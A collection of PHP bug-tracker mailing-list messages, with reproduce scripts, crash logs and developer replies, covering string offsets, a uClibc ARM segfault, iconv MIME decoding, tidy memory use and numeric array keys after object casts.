[PHP-BUG] Bug #65751 [NEW]: isset() and empty() hides illegal offset warning
From: anton dot polonskiy at gmail dot com Operating system: Ubuntu 13.04 PHP version: Irrelevant Package: *General Issues Bug Type: Bug Bug description:isset() and empty() hides illegal offset warning Description: Manual says: As of PHP 5.4 string offsets have to either be integers or integer-like strings, otherwise a warning will be thrown. Previously an offset like foo was silently cast to 0. That warning will suppressed by wrapping variable in isset() or empty(); http://3v4l.org/MEldp Test script: --- ?php $a = 'foo'; var_dump($a['bar']); // warning var_dump(empty($a['bar'])); // no warning var_dump(isset($a['bar'])); // no warning -- Edit bug report at https://bugs.php.net/bug.php?id=65751edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=65751r=trysnapshot54 Try a snapshot (PHP 5.3): https://bugs.php.net/fix.php?id=65751r=trysnapshot53 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=65751r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=65751r=fixed Fixed in release: https://bugs.php.net/fix.php?id=65751r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=65751r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=65751r=needscript Try newer version: https://bugs.php.net/fix.php?id=65751r=oldversion Not developer issue:https://bugs.php.net/fix.php?id=65751r=support Expected behavior: https://bugs.php.net/fix.php?id=65751r=notwrong Not enough info: https://bugs.php.net/fix.php?id=65751r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=65751r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=65751r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=65751r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=65751r=dst IIS Stability: https://bugs.php.net/fix.php?id=65751r=isapi Install GNU Sed:https://bugs.php.net/fix.php?id=65751r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=65751r=float No Zend Extensions: https://bugs.php.net/fix.php?id=65751r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=65751r=mysqlcfg
[PHP-BUG] Bug #62846 [NEW]: PHP cross-compile arm UCLIBC causes segfault, GLIBC works
From: anton dot fosselius at gmail dot com Operating system: Linux PHP version: Irrelevant Package: Reproducible crash Bug Type: Bug Bug description:PHP cross-compile arm UCLIBC causes segfault, GLIBC works Description: I am running Linux kernel 2.6.34 compiled with uclibc. cross compiling works fine, basic php scripts run, php function calls cause segfault. see: http://serverfault.com/questions/418521/cross-compile-php Test script: --- see: http://serverfault.com/questions/418521/cross-compile-php Expected result: it works! Actual result: -- # valgrind php test.php ==2181== Command: php test.php ==2181== Conditional jump or move depends on uninitialised value(s) ==2181==at 0x4004EC8: ??? (in /lib/ld-uClibc-0.9.30-nptl.so) ==2181== Invalid read of size 4 ==2181==at 0x4004D48: _dl_get_ready_to_run (in /lib/ld-uClibc-0.9.30-nptl.so) ==2181== Address 0x7d4cc304 is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes ==2181== Invalid read of size 4 ==2181==at 0x48C348C: __uClibc_main (in /lib/libuClibc-0.9.30-nptl.so) ==2181== Address 0x7d4cc554 is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes ==2181== Invalid write of size 4 ==2181==at 0x233010: __eqdf2 (ieee754-df.S:1120) ==2181== Address 0x7d4cb0bc is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes Warning: shell_exec(): Unable to execute 'ls -lart' in /test.php on line 3 ==2181== Invalid read of size 4 ==2181==at 0x1FF1AC: zend_do_fcall_common_helper_SPEC (zend.h:391) ==2181==by 0x1F3D17: execute (zend_vm_execute.h:410) ==2181==by 0x18B217: zend_execute_scripts (zend.c:1279) ==2181==by 0x1365BB: php_execute_script (main.c:2473) ==2181==by 0x22B52B: do_cli (php_cli.c:988) ==2181==by 0x22BD4B: main (php_cli.c:1364) ==2181== Address 0x8 is not stack'd, malloc'd or (recently) free'd Segmentation fault -- Edit bug report at https://bugs.php.net/bug.php?id=62846edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=62846r=trysnapshot54 Try a snapshot (PHP 5.3): https://bugs.php.net/fix.php?id=62846r=trysnapshot53 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=62846r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=62846r=fixed Fixed in SVN and need be documented: https://bugs.php.net/fix.php?id=62846r=needdocs Fixed in release: https://bugs.php.net/fix.php?id=62846r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=62846r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=62846r=needscript Try newer version: https://bugs.php.net/fix.php?id=62846r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=62846r=support Expected behavior: https://bugs.php.net/fix.php?id=62846r=notwrong Not enough info: https://bugs.php.net/fix.php?id=62846r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=62846r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=62846r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=62846r=php4 Daylight Savings:https://bugs.php.net/fix.php?id=62846r=dst IIS Stability: https://bugs.php.net/fix.php?id=62846r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=62846r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=62846r=float No Zend Extensions: https://bugs.php.net/fix.php?id=62846r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=62846r=mysqlcfg
Bug #62846 [Opn]: PHP cross-compile arm UCLIBC causes segfault, GLIBC works
Edit report at https://bugs.php.net/bug.php?id=62846edit=1 ID: 62846 User updated by:anton dot fosselius at gmail dot com Reported by:anton dot fosselius at gmail dot com Summary:PHP cross-compile arm UCLIBC causes segfault, GLIBC works Status: Open Type: Bug Package:Reproducible crash Operating System: Linux PHP Version:Irrelevant Block user comment: N Private report: N New Comment: I have now tried PHP version 5.3.5, 5.4.0, 5.4.5 same error on all. Previous Comments: [2012-08-17 09:33:09] anton dot fosselius at gmail dot com Description: I am running Linux kernel 2.6.34 compiled with uclibc. cross compiling works fine, basic php scripts run, php function calls cause segfault. see: http://serverfault.com/questions/418521/cross-compile-php Test script: --- see: http://serverfault.com/questions/418521/cross-compile-php Expected result: it works! Actual result: -- # valgrind php test.php ==2181== Command: php test.php ==2181== Conditional jump or move depends on uninitialised value(s) ==2181==at 0x4004EC8: ??? (in /lib/ld-uClibc-0.9.30-nptl.so) ==2181== Invalid read of size 4 ==2181==at 0x4004D48: _dl_get_ready_to_run (in /lib/ld-uClibc-0.9.30-nptl.so) ==2181== Address 0x7d4cc304 is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes ==2181== Invalid read of size 4 ==2181==at 0x48C348C: __uClibc_main (in /lib/libuClibc-0.9.30-nptl.so) ==2181== Address 0x7d4cc554 is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes ==2181== Invalid write of size 4 ==2181==at 0x233010: __eqdf2 (ieee754-df.S:1120) ==2181== Address 0x7d4cb0bc is just below the stack ptr. To suppress, use: --workaround-gcc296-bugs=yes Warning: shell_exec(): Unable to execute 'ls -lart' in /test.php on line 3 ==2181== Invalid read of size 4 ==2181==at 0x1FF1AC: zend_do_fcall_common_helper_SPEC (zend.h:391) ==2181==by 0x1F3D17: execute (zend_vm_execute.h:410) ==2181==by 0x18B217: zend_execute_scripts (zend.c:1279) ==2181==by 0x1365BB: php_execute_script (main.c:2473) ==2181==by 0x22B52B: do_cli (php_cli.c:988) ==2181==by 0x22BD4B: main (php_cli.c:1364) ==2181== Address 0x8 is not stack'd, malloc'd or (recently) free'd Segmentation fault -- Edit this bug report at https://bugs.php.net/bug.php?id=62846edit=1
[PHP-BUG] Bug #55649 [NEW]: Undefined function Bug()
From: Operating system: Linux PHP version: 5.3.8 Package: Compile Failure Bug Type: Bug Bug description:Undefined function Bug() Description: In zend_strtod.c calls undefined function Bug() when compiled with flag DEBUG zend_strtod.c:(.text+0x8ca): undefined reference to `Bug' Zend/.libs/zend_strtod.o: In function `cmp': zend_strtod.c:(.text+0x988): undefined reference to `Bug' zend_strtod.c:(.text+0x9a8): undefined reference to `Bug' Zend/.libs/zend_strtod.o: In function `b2d': zend_strtod.c:(.text+0xc75): undefined reference to `Bug' Zend/.libs/zend_strtod.o: In function `quorem': zend_strtod.c:(.text+0xde2): undefined reference to `Bug' Zend/.libs/zend_strtod.o:zend_strtod.c:(.text+0xec2): more undefined references to `Bug' follow collect2: ld returned 1 exit status -- Edit bug report at https://bugs.php.net/bug.php?id=55649edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=55649r=trysnapshot54 Try a snapshot (PHP 5.3): https://bugs.php.net/fix.php?id=55649r=trysnapshot53 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=55649r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=55649r=fixed Fixed in SVN and need be documented: https://bugs.php.net/fix.php?id=55649r=needdocs Fixed in release: https://bugs.php.net/fix.php?id=55649r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=55649r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=55649r=needscript Try newer version: https://bugs.php.net/fix.php?id=55649r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=55649r=support Expected behavior: https://bugs.php.net/fix.php?id=55649r=notwrong Not enough info: https://bugs.php.net/fix.php?id=55649r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=55649r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=55649r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=55649r=php4 Daylight Savings:https://bugs.php.net/fix.php?id=55649r=dst IIS Stability: https://bugs.php.net/fix.php?id=55649r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=55649r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=55649r=float No Zend Extensions: https://bugs.php.net/fix.php?id=55649r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=55649r=mysqlcfg
[PHP-BUG] Bug #53596 [NEW]: Function iconv_mime_decode failed to decode utf-8 header
From: Operating system: CentOS release 5.5 PHP version: 5.3.4 Package: ICONV related Bug Type: Bug Bug description:Function iconv_mime_decode failed to decode utf-8 header Description: --- From manual page: http://www.php.net/function.iconv-mime-decode --- Function iconv_mime_decode can't decode header with non-ascii characters, if charset differs from ISO-8859-1. For example iconv_mime_decode can't decode string Subject: =?utf-8?Q?=D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,=20=D0=9C=D0=B5?= =?utf-8?Q?=D0=B4=D0=B2=D0=B5=D0=B4!=20(Hello,=20Bear!)?= Test script: --- ?php $plan = array( // It's erroneous way to encode non-ascii text with ISO-8859-1, but // in this case the encode and the decode are inverse functions // i. e. $a == decode(encode($a)) array( 'description'= Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion, 'subject'= ÐÑивеÑ, ÐедведÑ! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'iso-8859-1', 'output-charset' = 'iso-8859-1', ) ), // unfortunately fails array( 'description'= Non-ASCII characters and UTF-8, 'subject'= ÐÑивеÑ, Ðедвед! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'utf-8', ) ), array( 'description'= Only ASCII characters and UTF-8, 'subject'= Hello, Bear!, 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'utf-8', ) ), array( 'description'= Only ASCII characters and Windows-1251 charset, 'subject'= Hello, Bear!, 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'windows-1251', ) ), array( 'description'= Non-ASCII characters and Windows-1251 charset, 'subject'= ÐÑивеÑ, ÐедведÑ! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'windows-1251', ) ) ); foreach ($plan as $case) { printf(\n\nStart: %s\n%s\n, $case['description'], str_repeat(=, 80)); $prefs = $case['prefs']; $prefs['scheme'] = 'Q'; $subject_encoded = iconv_mime_encode('Subject', $case['subject'], $prefs); printf(Encoded subject: %s\n, var_export($subject_encoded, 1)); if (!$subject_encoded) { $status = 'FAILED due to iconv_mime_encode'; } else { $status = false === iconv_mime_decode($subject_encoded) ? 'FAILED' : 'PASSED'; } printf([%s] %s\n, $status, $case['description']); } echo \n; Expected result: All tests should pass. Actual result: -- Start: Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion Encoded subject: 'Subject: =?iso-8859-1?Q?=D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,? = =?iso-8859-1?Q?=20=D0=9C=D0=B5=D0=B4=D0=B2=D0=B5=D0=B4=D1=8C!=20(Hello,?= =?iso-8859-1?Q?=20Bear!)?=' [PASSED] Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion Start: Non-ASCII characters and UTF-8 Encoded subject: 'Subject: =?utf-8?Q? =D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,=20=D0=9C=D0=B5?= =?utf-8?Q?=D0=B4=D0=B2=D0=B5=D0=B4!=20(Hello,=20Bear!)?=' [FAILED] Non-ASCII characters and UTF-8 Start: Only ASCII characters and UTF-8 Encoded subject: 'Subject: =?utf-8?Q?Hello,=20Bear!?=' [PASSED] Only ASCII characters and UTF-8 Start: Only ASCII characters and Windows-1251 charset Encoded subject: 'Subject: =?windows-1251?Q?Hello,=20Bear!?=' [PASSED] Only ASCII characters and Windows-1251 charset Start: Non-ASCII characters and Windows-1251 charset Encoded subject: 'Subject: =?windows-1251?Q? =CF=F0=E8=E2=E5=F2,=20=CC=E5=E4=E2=E5=E4=FC!=20(?= =?windows-1251?Q?Hello,=20Bear!)?=' [FAILED] Non-ASCII characters and Windows-1251 charset -- Edit bug report at http://bugs.php.net/bug.php?id=53596edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=53596r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=53596r=trysnapshot53 Try a snapshot (trunk): http://bugs.php.net/fix.php?id=53596r=trysnapshottrunk Fixed in SVN: http://bugs.php.net/fix.php?id=53596r=fixed Fixed in SVN and need be
Bug #53596 [Opn-Csd]: Function iconv_mime_decode failed to decode utf-8 header
Edit report at http://bugs.php.net/bug.php?id=53596edit=1 ID: 53596 User updated by:anton dot a dot minin at gmail dot com Reported by:anton dot a dot minin at gmail dot com Summary:Function iconv_mime_decode failed to decode utf-8 header -Status: Open +Status: Closed Type: Bug Package:ICONV related Operating System: CentOS release 5.5 PHP Version:5.3.4 Block user comment: N Private report: N New Comment: With the php.ini option iconv.internal_encoding=utf-8 it works properly. Previous Comments: [2010-12-23 11:02:27] anton dot a dot minin at gmail dot com Description: --- From manual page: http://www.php.net/function.iconv-mime-decode --- Function iconv_mime_decode can't decode header with non-ascii characters, if charset differs from ISO-8859-1. For example iconv_mime_decode can't decode string Subject: =?utf-8?Q?=D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,=20=D0=9C=D0=B5?= =?utf-8?Q?=D0=B4=D0=B2=D0=B5=D0=B4!=20(Hello,=20Bear!)?= Test script: --- ?php $plan = array( // It's erroneous way to encode non-ascii text with ISO-8859-1, but // in this case the encode and the decode are inverse functions // i. e. $a == decode(encode($a)) array( 'description'= Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion, 'subject'= ÐÑивеÑ, ÐедведÑ! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'iso-8859-1', 'output-charset' = 'iso-8859-1', ) ), // unfortunately fails array( 'description'= Non-ASCII characters and UTF-8, 'subject'= ÐÑивеÑ, Ðедвед! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'utf-8', ) ), array( 'description'= Only ASCII characters and UTF-8, 'subject'= Hello, Bear!, 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'utf-8', ) ), array( 'description'= Only ASCII characters and Windows-1251 charset, 'subject'= Hello, Bear!, 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'windows-1251', ) ), array( 'description'= Non-ASCII characters and Windows-1251 charset, 'subject'= ÐÑивеÑ, ÐедведÑ! (Hello, Bear!), 'prefs' = array( 'input-charset' = 'utf-8', 'output-charset' = 'windows-1251', ) ) ); foreach ($plan as $case) { printf(\n\nStart: %s\n%s\n, $case['description'], str_repeat(=, 80)); $prefs = $case['prefs']; $prefs['scheme'] = 'Q'; $subject_encoded = iconv_mime_encode('Subject', $case['subject'], $prefs); printf(Encoded subject: %s\n, var_export($subject_encoded, 1)); if (!$subject_encoded) { $status = 'FAILED due to iconv_mime_encode'; } else { $status = false === iconv_mime_decode($subject_encoded) ? 'FAILED' : 'PASSED'; } printf([%s] %s\n, $status, $case['description']); } echo \n; Expected result: All tests should pass. Actual result: -- Start: Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion Encoded subject: 'Subject: =?iso-8859-1?Q?=D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,? = =?iso-8859-1?Q?=20=D0=9C=D0=B5=D0=B4=D0=B2=D0=B5=D0=B4=D1=8C!=20(Hello,?= =?iso-8859-1?Q?=20Bear!)?=' [PASSED] Non-ASCII characters, ISO-8859-1 to ISO-8859-1 conversion Start: Non-ASCII characters and UTF-8 Encoded subject: 'Subject: =?utf-8?Q? =D0=9F=D1=80=D0=B8=D0=B2=D0=B5=D1=82,=20=D0=9C=D0=B5?= =?utf-8?Q?=D0=B4=D0=B2=D0=B5=D0=B4!=20(Hello,=20Bear!)?=' [FAILED] Non-ASCII characters and UTF-8 Start: Only ASCII characters and UTF-8 Encoded subject: 'Subject: =?utf-8?Q?Hello,=20Bear!?=' [PASSED] Only ASCII characters and UTF-8 Start: Only ASCII characters and Windows-1251 charset Encoded subject: 'Subject: =?windows-1251?Q?Hello,=20Bear!?=' [PASSED] Only ASCII characters and Windows-1251 charset Start: Non-ASCII characters and Windows-1251 charset Encoded subject: 'Subject: =?windows-1251?Q? =CF=F0=E8=E2=E5=F2,=20=CC
[PHP-BUG] Bug #53163 [NEW]: trim() don't say about warning with tidy_parse_string
From: Operating system: Gentoo PHP version: 5.3.3 Package: Unknown/Other Function Bug Type: Bug Bug description:trim() don't say about warning with tidy_parse_string Description: ?php class test { public $value = 'Hi'; } $obj = new test(); trim($obj); ? result: Warning: trim() expects parameter 1 to be string, object given ?php $content = file_get_contents('http://php.net'); while ($i = 1) { trim(tidy_parse_string($content, $tidy_config, 'utf8')); } ? result: Fatal error: Allowed memory size of 1048576 bytes exhausted (tried to allocate 104 bytes) php: tidylib.c:168: tidyDocRelease: Assertion `doc-docIn == ((void *)0)' failed. I think need warning and not eat all memory thx -- Edit bug report at http://bugs.php.net/bug.php?id=53163edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=53163r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=53163r=trysnapshot53 Try a snapshot (trunk): http://bugs.php.net/fix.php?id=53163r=trysnapshottrunk Fixed in SVN: http://bugs.php.net/fix.php?id=53163r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=53163r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=53163r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=53163r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=53163r=needscript Try newer version: http://bugs.php.net/fix.php?id=53163r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=53163r=support Expected behavior: http://bugs.php.net/fix.php?id=53163r=notwrong Not enough info: http://bugs.php.net/fix.php?id=53163r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=53163r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=53163r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=53163r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=53163r=dst IIS Stability: http://bugs.php.net/fix.php?id=53163r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=53163r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=53163r=float No Zend Extensions: http://bugs.php.net/fix.php?id=53163r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=53163r=mysqlcfg
Bug #53163 [Com]: trim() don't say about warning with tidy_parse_string
Edit report at http://bugs.php.net/bug.php?id=53163edit=1 ID: 53163 Comment by: borovoy dot anton at gmail dot com Reported by:borovoy dot anton at gmail dot com Summary:trim() don't say about warning with tidy_parse_string Status: Bogus Type: Bug Package:Unknown/Other Function Operating System: Gentoo PHP Version:5.3.3 Block user comment: N New Comment: At first time it was: Fatal error: Allowed memory size of 1073741824 bytes exhausted (tried to allocate 3 bytes) btw: In http://php.net/manual/en/tidy.examples.basic.php we get: ?php $tidy = new tidy; $tidy-parseString($html, $config, 'utf8'); $tidy-cleanRepair(); echo $tidy; ? If before echo() we put: var_dump(is_object($tidy)); var_dump(is_string($tidy)); result will be: bool(true) bool(false) In php.net/manual/en/function.echo.php says echo wanna string, not object And if use $tidy-value problem resolve. What I don't understand? thx Previous Comments: [2010-10-26 10:46:08] ras...@php.net You have your memory limit set really low and you are looping infinitely over a tidy_parse_string call against a 50k blob of html. This has nothing to do with trim. You are running out of memory doing all the tidy stuff long before trim() is even called. [2010-10-26 10:35:29] borovoy dot anton at gmail dot com Description: ?php class test { public $value = 'Hi'; } $obj = new test(); trim($obj); ? result: Warning: trim() expects parameter 1 to be string, object given ?php $content = file_get_contents('http://php.net'); while ($i = 1) { trim(tidy_parse_string($content, $tidy_config, 'utf8')); } ? result: Fatal error: Allowed memory size of 1048576 bytes exhausted (tried to allocate 104 bytes) php: tidylib.c:168: tidyDocRelease: Assertion `doc-docIn == ((void *)0)' failed. I think need warning and not eat all memory thx -- Edit this bug report at http://bugs.php.net/bug.php?id=53163edit=1
#50423 [NEW]: Numerical keys casted as strings in arrays, when converting from object
From: anton at zebooka dot com Operating system: Ubuntu 9.10 PHP version: 5.2.11 PHP Bug Type: Arrays related Bug description: Numerical keys casted as strings in arrays, when converting from object Description: As mentioned in documentation, array items can have either string or int. However keys that are numerical strings are converted to int. This is how to create an array with item, which key is string, while it is a number. Reproduce code: --- $a = array(123); $o = (object) $a; $o-{0} = 456; $a = (array) $o; var_dump($a); Expected result: array(2) { [0]= int(456) } Actual result: -- array(2) { [0]= int(123) [0]= int(456) } -- Edit bug report at http://bugs.php.net/?id=50423edit=1 -- Try a snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=50423r=trysnapshot52 Try a snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=50423r=trysnapshot53 Try a snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=50423r=trysnapshot60 Fixed in SVN: http://bugs.php.net/fix.php?id=50423r=fixed Fixed in SVN and need be documented: http://bugs.php.net/fix.php?id=50423r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=50423r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=50423r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=50423r=needscript Try newer version: http://bugs.php.net/fix.php?id=50423r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=50423r=support Expected behavior: http://bugs.php.net/fix.php?id=50423r=notwrong Not enough info: http://bugs.php.net/fix.php?id=50423r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=50423r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=50423r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=50423r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=50423r=dst IIS Stability: http://bugs.php.net/fix.php?id=50423r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=50423r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=50423r=float No Zend Extensions: http://bugs.php.net/fix.php?id=50423r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=50423r=mysqlcfg
#50423 [Opn]: Numerical keys casted as strings in arrays, when converting from object
ID: 50423 User updated by: anton at zebooka dot com Reported By: anton at zebooka dot com Status: Open Bug Type: Arrays related Operating System: Ubuntu 9.10 PHP Version: 5.2.11 New Comment: Again, if you then do echo $a[0]; you'll get 123 instead of 456. Even if you call arsort($a); the result will be the same - 123. Previous Comments: [2009-12-09 09:33:43] anton at zebooka dot com Description: As mentioned in documentation, array items can have either string or int. However keys that are numerical strings are converted to int. This is how to create an array with item, which key is string, while it is a number. Reproduce code: --- $a = array(123); $o = (object) $a; $o-{0} = 456; $a = (array) $o; var_dump($a); Expected result: array(2) { [0]= int(456) } Actual result: -- array(2) { [0]= int(123) [0]= int(456) } -- Edit this bug report at http://bugs.php.net/?id=50423edit=1
#50423 [Bgs]: Numerical keys casted as strings in arrays, when converting from object
ID: 50423 User updated by: anton at zebooka dot com Reported By: anton at zebooka dot com Status: Bogus Bug Type: Arrays related Operating System: Ubuntu 9.10 PHP Version: 5.2.11 New Comment: Yes, I can't. But I have!!! Look closer. Expected result is, when I convert object with numerially named properties, to get array with int keys. But instead I get an array with string numerical keys Previous Comments: [2009-12-09 09:41:15] johan...@php.net Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php You can\'t have array keys with numeric strings as key. [2009-12-09 09:36:10] anton at zebooka dot com Again, if you then do echo $a[0]; you'll get 123 instead of 456. Even if you call arsort($a); the result will be the same - 123. [2009-12-09 09:33:43] anton at zebooka dot com Description: As mentioned in documentation, array items can have either string or int. However keys that are numerical strings are converted to int. This is how to create an array with item, which key is string, while it is a number. Reproduce code: --- $a = array(123); $o = (object) $a; $o-{0} = 456; $a = (array) $o; var_dump($a); Expected result: array(2) { [0]= int(456) } Actual result: -- array(2) { [0]= int(123) [0]= int(456) } -- Edit this bug report at http://bugs.php.net/?id=50423edit=1
#50423 [Bgs]: Numerical keys casted as strings in arrays, when converting from object
ID: 50423 User updated by: anton at zebooka dot com Reported By: anton at zebooka dot com Status: Bogus Bug Type: Arrays related Operating System: Ubuntu 9.10 PHP Version: 5.2.11 New Comment: Oh, hell. I know what is written in documentation. But this is clearly a bug. Why can't you open console, type php -a and test it your self??? For unbelievers: php $o = new stdClass(); php $o-{123} = 456; php echo $o-{123}; 456 So object HAS!!! numerical properties. php var_dump($o); object(stdClass)#1 (1) { [123]= int(456) } php var_dump($a); array(1) { [123]= int(456) } php error_reporting(-1); php var_dump($a[123]); Notice: Undefined offset: 123 in php shell code on line 1 NULL There is still no bug??? Are you kidding? PHP team should either disable assigning properties with numberical names to objects (throw -{} syntax and with (object) cast), or convert objects to arrays and arrays to objects normally, without such bells and candies. :) Previous Comments: [2009-12-09 12:16:31] j...@php.net If an object is converted to an array , the result is an array whose elements are the object 's properties. The keys are the member variable names, with a few notable exceptions: integer properties are unaccessible; And this is exactly what happens. No bug here. [2009-12-09 09:47:48] johan...@php.net sorry misread it [2009-12-09 09:45:17] anton at zebooka dot com Yes, I can't. But I have!!! Look closer. Expected result is, when I convert object with numerially named properties, to get array with int keys. But instead I get an array with string numerical keys [2009-12-09 09:41:15] johan...@php.net Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php You can\'t have array keys with numeric strings as key. [2009-12-09 09:36:10] anton at zebooka dot com Again, if you then do echo $a[0]; you'll get 123 instead of 456. Even if you call arsort($a); the result will be the same - 123. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/50423 -- Edit this bug report at http://bugs.php.net/?id=50423edit=1
#50423 [Bgs]: Numerical keys casted as strings in arrays, when converting from object
ID: 50423 User updated by: anton at zebooka dot com Reported By: anton at zebooka dot com Status: Bogus Bug Type: Arrays related Operating System: Ubuntu 9.10 PHP Version: 5.2.11 New Comment: sorry, throw == through Previous Comments: [2009-12-09 17:38:31] anton at zebooka dot com Oh, hell. I know what is written in documentation. But this is clearly a bug. Why can't you open console, type php -a and test it your self??? For unbelievers: php $o = new stdClass(); php $o-{123} = 456; php echo $o-{123}; 456 So object HAS!!! numerical properties. php var_dump($o); object(stdClass)#1 (1) { [123]= int(456) } php var_dump($a); array(1) { [123]= int(456) } php error_reporting(-1); php var_dump($a[123]); Notice: Undefined offset: 123 in php shell code on line 1 NULL There is still no bug??? Are you kidding? PHP team should either disable assigning properties with numberical names to objects (throw -{} syntax and with (object) cast), or convert objects to arrays and arrays to objects normally, without such bells and candies. :) [2009-12-09 12:16:31] j...@php.net If an object is converted to an array , the result is an array whose elements are the object 's properties. The keys are the member variable names, with a few notable exceptions: integer properties are unaccessible; And this is exactly what happens. No bug here. [2009-12-09 09:47:48] johan...@php.net sorry misread it [2009-12-09 09:45:17] anton at zebooka dot com Yes, I can't. But I have!!! Look closer. Expected result is, when I convert object with numerially named properties, to get array with int keys. But instead I get an array with string numerical keys [2009-12-09 09:41:15] johan...@php.net Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php You can\'t have array keys with numeric strings as key. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/50423 -- Edit this bug report at http://bugs.php.net/?id=50423edit=1
#49055 [NEW]: parse_url convert \r\n to _ _
